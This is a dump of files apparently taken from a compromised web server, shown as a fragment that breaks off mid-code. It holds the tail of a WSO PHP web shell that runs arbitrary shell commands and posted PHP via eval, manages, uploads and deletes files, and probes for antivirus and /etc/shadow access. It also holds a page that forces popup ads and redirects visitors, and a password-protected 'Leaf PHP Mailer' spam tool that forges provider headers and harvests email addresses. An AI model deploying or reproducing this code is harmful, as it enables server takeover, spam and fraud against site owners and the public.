} return $out; } function wsoViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ?'r': '-'); $i .= (($p & 0x0080) ?'w': '-'); $i .= (($p & 0x0040) ?(($p & 0x0800) ?'s': 'x') : (($p & 0x0800) ?'S': '-')); $i .= (($p & 0x0020) ?'r': '-'); $i .= (($p & 0x0010) ?'w': '-'); $i .= (($p & 0x0008) ?(($p & 0x0400) ?'s': 'x') : (($p & 0x0400) ?'S': '-')); $i .= (($p & 0x0004) ?'r': '-'); $i .= (($p & 0x0002) ?'w': '-'); $i .= (($p & 0x0001) ?(($p & 0x0200) ?'t': 'x') : (($p & 0x0200) ?'T': '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>'; elseif (!@is_writable($f)) return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>'; else return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>'; } if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which '.$p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo '<h1>Server security information</h1><div class=content>'; function wsoSecParam($n,$v) { $v = trim($v); if($v) { echo '<span>'.$n .': </span>'; if(strpos($v,"\n") === false) echo $v .'<br>'; else echo '<pre class=ml1>'.$v .'</pre>'; } } wsoSecParam('Server software',@getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules())); wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir',@ini_get('open_basedir')); wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir')); wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysqli_connect')) $temp[] = "MySQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases',implode(', ',$temp)); echo '<br>'; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes":'no'); wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes":'no'); wsoSecParam('OS version',@file_get_contents('/proc/version')); wsoSecParam('Distr name',@file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>'; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful',implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger',implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders',implode(', ',$temp)); echo '<br/>'; wsoSecParam('HDD space',wsoEx('df -h')); wsoSecParam('Hosts',@file_get_contents('/etc/hosts')); } } else { wsoSecParam('OS Version',wsoEx('ver')); wsoSecParam('Account Settings',wsoEx('net accounts')); wsoSecParam('User Accounts',wsoEx('net user')); } echo '</div>'; wsoFooter(); } function actionFilesMan() { wsoHeader(); echo '<h1>File manager</h1><div class=content>'; if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) { echo "Can't upload file!"; } break; case 'mkdir': if(!@mkdir($_POST['p2'])) { echo "Can't create new dir"; } break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path : $path.'/'; $dh = opendir($path); while (($item = readdir($dh)) !== false) { $item = $path.$item; if ((basename($item) == "..") || (basename($item) == ".")) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) { foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } } break; } } $dirContent = @scandir($GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!'; wsoFooter(); return; } echo "<script> function sa() { for(i=0;i<d.files.elements.length;i++) if(d.files.elements[i].type == 'checkbox') d.files.elements[i].checked = d.files.elements[0].checked; } </script> <table width='100%' class='main' cellspacing='0' cellpadding='2'> <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th>Name</th><th>Size</th><th>Modify</th><th>Permissions</th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array( 'name'=>$dirContent[$i], 'path'=>$GLOBALS['cwd'].$dirContent[$i], 'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])), 'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]), 'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] .$dirContent[$i])) { $files[] = array_merge($tmp,array('type'=>'file')); } elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]) && ($dirContent[$i] != ".")) { $dirs[] = array_merge($tmp,array('type'=>'dir')); } } $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['perms'].'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> '.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; $l = $l?0:1; } echo "<tr><td colspan=6> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'> <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if(class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; echo "<option value='tar'>Compress (tar.gz)</option>"; echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>"; wsoFooter(); } function actionFilesTools() { if(isset($_POST['p1'])) { $_POST['p1'] = urldecode($_POST['p1']); } if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: ".$type); } else { header("Content-Type: application/octet-stream"); } $fp = @fopen($_POST['p1'],"r"); if($fp) { while(!@feof($fp)) echo @fread($fp,1024); fclose($fp); } exit; } } wsoHeader(); echo '<h1>File tools</h1><div class=content>'; if(!file_exists(@$_POST['p1'])) { echo 'File not exists'; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else { $gid = @posix_getgrgid(@filegroup($_POST['p1'])); } echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; if(empty($_POST['p2'])) { $_POST['p2'] = 'view'; } if(is_file($_POST['p1'])) { $m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch'); } else { $m = array('Chmod','Rename','Touch'); } foreach($m as $v) { echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; } echo '<br><br>'; switch($_POST['p2']) { case 'view': echo '<pre class=ml1>'; $fp = @fopen($_POST['p1'],'r'); if($fp) { while(!@feof($fp)) echo htmlspecialchars(@fread($fp,1024)); @fclose($fp); } echo '</pre>'; break; case 'edit': if(!is_writable($_POST['p1'])) { echo 'File isn\'t writeable'; break; } if(!empty($_POST['p3'])) { $time = @filemtime($_POST['p1']); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!<br>'; @touch($_POST['p1'],$time,$time); } } echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>'; $fp = @fopen($_POST['p1'],'r'); if($fp) { while(!@feof($fp)) echo htmlspecialchars(@fread($fp,1024)); @fclose($fp); } echo '</textarea><input type=submit value=">>"></form>'; break; } echo '</div>'; wsoFooter(); } function actionConsole() { wsoHeader(); echo '<h1>Console</h1><div class=content>'; echo '<form name=cf onsubmit="g(\'Console\',null,this.cmd.value);return false;"><select name=alias>'; foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; continue; } echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; } echo '</select><input type=button onclick="g(\'Console\',null,d.cf.alias.value)" value=">>"><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; if(!empty($_POST['p1'])) { if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); } } echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); } echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"></td></tr></table>'; echo '</form></div><script>d.cf.cmd.focus();</script>'; wsoFooter(); } function actionPhp() { wsoHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); echo str_replace('<h1','<h2',$tmp) .'</div><br>'; } echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="g(\'Php\',null,this.code.value,\'\');return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px"></form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '</pre></div>'; wsoFooter(); } function actionStringTools() { wsoHeader(); echo '<h1>String conversions</h1><div class=content>'; $stringTools = array( 'Base64 encode'=>'base64_encode', 'Base64 decode'=>'base64_decode', 'Url encode'=>'urlencode', 'Url decode'=>'urldecode', 'md5 hash'=>'md5', 'sha1 hash'=>'sha1', 'crypt'=>'crypt', 'CRC32'=>'crc32', 'String to lower case'=>'strtolower', 'String to upper case'=>'strtoupper', 'Htmlspecialchars'=>'htmlspecialchars', 'String length'=>'strlen', ); echo "<form name='toolsForm' onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>"; foreach($stringTools as $k => $v) { echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; } echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; if(!empty($_POST['p1'])) { if(function_exists($_POST['p1'])) { echo htmlspecialchars($_POST['p1']($_POST['p2'])); } } echo"</pre></div>"; wsoFooter(); } function actionLogout() { session_destroy(); die('bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') { if(@unlink(__FILE__)) { die('Shell has been removed'); } else { echo 'unlink error!'; } } if($_POST['p1'] != 'yes') { wsoHeader(); } echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; wsoFooter(); } // Main execution if(empty($_POST['a'])) { if(isset($default_action) && function_exists('action'.$default_action)) { $_POST['a'] = $default_action; } else { $_POST['a'] = 'SecInfo'; } } if(!empty($_POST['a']) && function_exists('action'.$_POST['a'])) { call_user_func('action'.$_POST['a']); } exit; ?>123456/index.php000064400000003001151514460360007127 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 123456/lfu.php000077700000105013151514460360006623 0ustar00<?php /*** PHP Encode Sh*ll Auto v4 Fox ***/ /** * Leaf PHP Mailer by [leafmailer.pw] * @version : 2.8 **/ $password = "12345"; // Password session_start(); error_reporting(0); set_time_limit(0); ini_set("memory_limit", "-1"); $leaf['version'] = "2.8"; $leaf['website'] = "leafmailer.pw"; $sessioncode = md5(__FILE__); if (!empty($password) && (!isset($_SESSION[$sessioncode]) || $_SESSION[$sessioncode] != $password)) { if (isset($_REQUEST['pass']) && $_REQUEST['pass'] == $password) { $_SESSION[$sessioncode] = $password; } else { print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; exit; } } session_write_close(); function leafClear($text, $email) { $e = explode('@', $email); $emailuser = $e[0] ?? ''; $emaildomain = $e[1] ?? ''; $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); $text = str_replace("[-email-]", $email, $text); $text = str_replace("[-emailuser-]", $emailuser, $text); $text = str_replace("[-emaildomain-]", $emaildomain, $text); $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text); $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text); $text = str_replace("[-randomnumber-]", randString('0123456789'), $text); $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text); return $text; } function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand(0, strlen($consonants) - 1)]; } return $password; } function leafMailCheck($email) { return filter_var($email, FILTER_VALIDATE_EMAIL) !== false; } // Bulit-in BlackList Checker if (isset($_GET['check_ip'])) { if (isset($_GET['host'])) { if (is_array($_GET['host'])) { $hosts = $_GET['host']; } else { $hosts = explode(",", $_GET['host']); } foreach ($hosts as $host) { if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) { $check = "<font color='red'> Listed</font>"; } else { $check = "<font color='green'> Clean</font>"; } print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";'; } exit; } $dnsbl_lookup = [ "all.s5h.net", "b.barracudacentral.org", "bl.spamcop.net", "blacklist.woody.ch", "bogons.cymru.com", "cbl.abuseat.org", "cdl.anti-spam.org.cn", "combined.abuse.ch", "db.wpbl.info", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net", "dnsbl.anticaptcha.net", "dnsbl.dronebl.org", "dnsbl.inps.de", "dnsbl.sorbs.net", "drone.abuse.ch", "duinv.aupads.org", "dul.dnsbl.sorbs.net", "dyna.spamrats.com", "dynip.rothen.com", "http.dnsbl.sorbs.net", "ips.backscatterer.org", "ix.dnsbl.manitu.net", "korea.services.net", "misc.dnsbl.sorbs.net", "noptr.spamrats.com", "orvedb.aupads.org", "pbl.spamhaus.org", "proxy.bl.gweep.ca", "psbl.surriel.com", "relays.bl.gweep.ca", "relays.nether.net", "sbl.spamhaus.org", "short.rbl.jp", "singular.ttk.pte.hu", "smtp.dnsbl.sorbs.net", "socks.dnsbl.sorbs.net", "spam.abuse.ch", "spam.dnsbl.anonmails.de", "spam.dnsbl.sorbs.net", "spam.spamrats.com", "spambot.bls.digibase.ca", "spamrbl.imp.ch", "spamsources.fabel.dk", "ubl.lashback.com", "ubl.unsubscore.com", "virus.rbl.jp", "web.dnsbl.sorbs.net", "wormrbl.imp.ch", "xbl.spamhaus.org", "z.mailspike.net", "zen.spamhaus.org", "zombie.dnsbl.sorbs.net", ]; $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip']))); $dnsT = count($dnsbl_lookup); leafheader(); print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>'; print "Checking <b>" . htmlspecialchars($_GET['check_ip']) . "</b> in <b>$dnsT</b> anti-spam databases:<br>"; print '<table>'; $dnsN = ""; for ($i = 0; $i < $dnsT; $i += 10) { $hosts = ""; for ($j = $i; $j < $i + 10; $j++) { if (isset($dnsbl_lookup[$j])) { $host = $dnsbl_lookup[$j]; print "<tr><td>" . htmlspecialchars($host) . "</td><td id='" . htmlspecialchars($host) . "'>Checking ..</td></tr>"; $hosts .= $host . ","; } } $dnsN .= "<script src='?check_ip=" . urlencode($reverse_ip) . "&host=" . urlencode(rtrim($hosts, ',')) . "' type='text/javascript'></script>"; } print '</table></div>'; print $dnsN; exit; } if (isset($_GET['emailfilter'])) { if (!empty($_FILES['fileToUpload']['tmp_name'])) { $_POST['emailList'] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); } if (isset($_POST['emailList'])) { $_POST['emailList'] = strtolower($_POST['emailList']); } if ($_GET['emailfilter'] == "ifram") { if (isset($_POST['resulttype']) && $_POST['resulttype'] == "download") { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=emails" . time() . ".txt"); } else { header("Content-Type: text/plain"); } if (isset($_POST['submit']) && $_POST['submit'] == "extract") { $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/'; preg_match_all($pattern, $_POST['emailList'], $matches); foreach ($matches[0] as $email) { print $email . "\n"; } } elseif (isset($_POST['submit']) && $_POST['submit'] == "filter") { $emails = explode("\n", $_POST['emailList']); $keywords = explode("\n", strtolower($_POST['keywords'])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "\n"; break; } } } } exit; } leafheader(); print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>'; print ' <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data"> <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> or <textarea name="emailList" id="emailList" class="form-control" rows="7"></textarea> <div class="col-lg-12"> <div class="radio"> <label> <input type="radio" name="resulttype" id="resulttype1" value="here" checked> Show Result in this page </label> </div> <div class="radio"> <label> <input type="radio" name="resulttype" id="resulttype2" value="download"> Download Result (for big numbers) </label> </div> </div> <legend><h4>Extract Email</h4></legend> Detecting every email (100%) and order them line by line <br><br> <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button> <legend><h4>Filter Emails</h4></legend> <label>Keywords <small>ex: gmail.com or .co.uk</small></label> <textarea name="keywords" id="keywords" class="form-control" rows="4">gmail.com hotmail.com yahoo.com .co.uk</textarea><br> <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button> </form> <label>Result</label> <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram"></iframe> '; exit; } // Initialize variables $html = "checked"; $utf8 = "selected"; $bit8 = "selected"; $plain = ""; $iso = ""; $bit7 = ""; $binary = ""; $base64 = ""; $quotedprintable = ""; $senderEmail = ""; $senderName = ""; $replyTo = ""; $subject = ""; $emailList = ""; $messageType = 1; $messageLetter = ""; $encoding = "8bit"; $charset = "UTF-8"; // Inbox delivery options $provider_headers = "gmail"; $custom_headers = "X-Priority: 1\r\nX-MSMail-Priority: High\r\nImportance: High"; if (isset($_POST['action']) && ($_POST['action'] == "send" || $_POST['action'] == "score")) { $senderEmail = isset($_POST['senderEmail']) ? leafTrim($_POST['senderEmail']) : ""; $senderName = isset($_POST['senderName']) ? leafTrim($_POST['senderName']) : ""; $replyTo = isset($_POST['replyTo']) ? leafTrim($_POST['replyTo']) : ""; $subject = isset($_POST['subject']) ? leafTrim($_POST['subject']) : ""; $emailList = isset($_POST['emailList']) ? leafTrim($_POST['emailList']) : ""; $messageType = isset($_POST['messageType']) ? leafTrim($_POST['messageType']) : 1; $messageLetter = isset($_POST['messageLetter']) ? leafTrim($_POST['messageLetter']) : ""; $encoding = isset($_POST['encode']) ? $_POST['encode'] : "8bit"; $charset = isset($_POST['charset']) ? $_POST['charset'] : "UTF-8"; $provider_headers = isset($_POST['provider_headers']) ? $_POST['provider_headers'] : "gmail"; $custom_headers = isset($_POST['custom_headers']) ? $_POST['custom_headers'] : "X-Priority: 1\r\nX-MSMail-Priority: High\r\nImportance: High"; $html = ($messageType == 1) ? "checked" : ""; $plain = ($messageType == 2) ? "checked" : ""; $utf8 = ($charset == "UTF-8") ? "selected" : ""; $iso = ($charset == "ISO-8859-1") ? "selected" : ""; $bit8 = ($encoding == "8bit") ? "selected" : ""; $bit7 = ($encoding == "7bit") ? "selected" : ""; $binary = ($encoding == "binary") ? "selected" : ""; $base64 = ($encoding == "base64") ? "selected" : ""; $quotedprintable = ($encoding == "quoted-printable") ? "selected" : ""; } if (isset($_POST['action']) && $_POST['action'] == "view") { $viewMessage = isset($_POST['messageLetter']) ? leafTrim($_POST['messageLetter']) : ""; $viewMessage = leafClear($viewMessage, "user@domain.com"); $messageType = isset($_POST['messageType']) ? $_POST['messageType'] : 1; if ($messageType == 2) { print "<pre>" . htmlspecialchars($viewMessage) . "</pre>"; } else { print $viewMessage; } exit; } if (!isset($_POST['senderEmail'])) { $senderEmail = "support@" . str_replace("www.", "", $_SERVER['HTTP_HOST']); if (!leafMailCheck($senderEmail)) { $senderEmail = ""; } } class PHPMailer { public $From = ''; public $FromName = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $CharSet = 'UTF-8'; public $ContentType = 'text/plain'; public $Encoding = '8bit'; public $Timeout = 30; public $ErrorInfo = ''; public $ReplyTo = array(); public $to = array(); public $Attachment = array(); public $CustomHeader = array(); public $MessageID = ''; public $MessageDate = ''; public $ProviderHeaders = 'gmail'; public function __construct($exceptions = false) { $this->exceptions = $exceptions; $this->MessageID = $this->generateMessageID(); } private function generateMessageID() { $domain = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'; return '<' . uniqid() . '.' . time() . '@' . $domain . '>'; } public function setFrom($address, $name = '') { $this->From = $address; $this->FromName = $name; return true; } public function addAddress($address, $name = '') { $this->to[] = array($address, $name); return true; } public function addReplyTo($address, $name = '') { $this->ReplyTo[] = array($address, $name); return true; } public function addAttachment($path, $name = '') { $this->Attachment[] = array($path, $name); return true; } public function addCustomHeader($name, $value) { $this->CustomHeader[] = array($name, $value); return true; } public function isHTML($ishtml = true) { if ($ishtml) { $this->ContentType = 'text/html'; } else { $this->ContentType = 'text/plain'; } } public function setProviderHeaders($provider) { $this->ProviderHeaders = $provider; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->ErrorInfo = $exc->getMessage(); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { $this->MessageDate = date('D, j M Y H:i:s O'); if (empty($this->From)) { $this->ErrorInfo = 'Message must have a From address.'; return false; } if (empty($this->to)) { $this->ErrorInfo = 'Message must have at least one recipient.'; return false; } return true; } public function postSend() { $headers = $this->createHeader(); $body = $this->createBody(); $to = ''; foreach ($this->to as $address) { if (!empty($to)) $to .= ', '; $to .= $address[0]; } $result = @mail($to, $this->encodeSubject($this->Subject), $body, $headers); if (!$result) { $this->ErrorInfo = 'Could not instantiate mail function.'; return false; } return true; } private function encodeSubject($subject) { return '=?UTF-8?B?' . base64_encode($subject) . '?='; } public function getSentMIMEMessage() { $headers = $this->createHeader(); $body = $this->createBody(); return $headers . "\r\n\r\n" . $body; } protected function createHeader() { $headers = array(); // Basic headers $headers[] = 'From: ' . $this->formatAddress($this->From, $this->FromName); $headers[] = 'Return-Path: ' . $this->From; $headers[] = 'Reply-To: ' . $this->From; $to_header = ''; foreach ($this->to as $address) { if (!empty($to_header)) $to_header .= ', '; $to_header .= $this->formatAddress($address[0], $address[1]); } if (!empty($to_header)) { $headers[] = 'To: ' . $to_header; } $headers[] = 'Subject: ' . $this->encodeSubject($this->Subject); $headers[] = 'Date: ' . $this->MessageDate; $headers[] = 'Message-ID: ' . $this->MessageID; $headers[] = 'MIME-Version: 1.0'; // Content headers if ($this->ContentType == 'text/html' && !empty($this->AltBody)) { $boundary = '=_part_' . md5(uniqid()); $headers[] = 'Content-Type: multipart/alternative; boundary="' . $boundary . '"'; } else { $headers[] = 'Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet; $headers[] = 'Content-Transfer-Encoding: ' . $this->Encoding; } // Provider-specific headers $headers[] = $this->getProviderHeaders(); // Custom headers if (!empty($this->CustomHeader)) { foreach ($this->CustomHeader as $header) { $headers[] = $header[0] . ': ' . $header[1]; } } return implode("\r\n", $headers); } private function getProviderHeaders() { $domain = explode('@', $this->From); $domain = $domain[1] ?? 'localhost'; switch ($this->ProviderHeaders) { case 'gmail': return $this->getGmailHeaders($domain); case 'yahoo': return $this->getYahooHeaders($domain); case 'hotmail': return $this->getHotmailHeaders($domain); case 'aol': return $this->getAolHeaders($domain); case 'custom': return $this->getCustomHeaders(); default: return $this->getDefaultHeaders($domain); } } private function getGmailHeaders($domain) { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-Google-Original-From: ' . $this->From; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'X-Report-Abuse: <' . $this->From . '>'; $headers[] = 'List-Unsubscribe: <mailto:' . $this->From . '?subject=unsubscribe>'; $headers[] = 'Precedence: bulk'; return implode("\r\n", $headers); } private function getYahooHeaders($domain) { $headers = array(); $headers[] = 'X-Priority: 1'; $headers[] = 'X-MSMail-Priority: High'; $headers[] = 'Importance: High'; $headers[] = 'X-Yahoo-Original-From: ' . $this->From; $headers[] = 'X-Originating-IP: ' . ($_SERVER['SERVER_ADDR'] ?? '127.0.0.1'); $headers[] = 'X-Sender: ' . $this->From; $headers[] = 'X-Apparently-From: ' 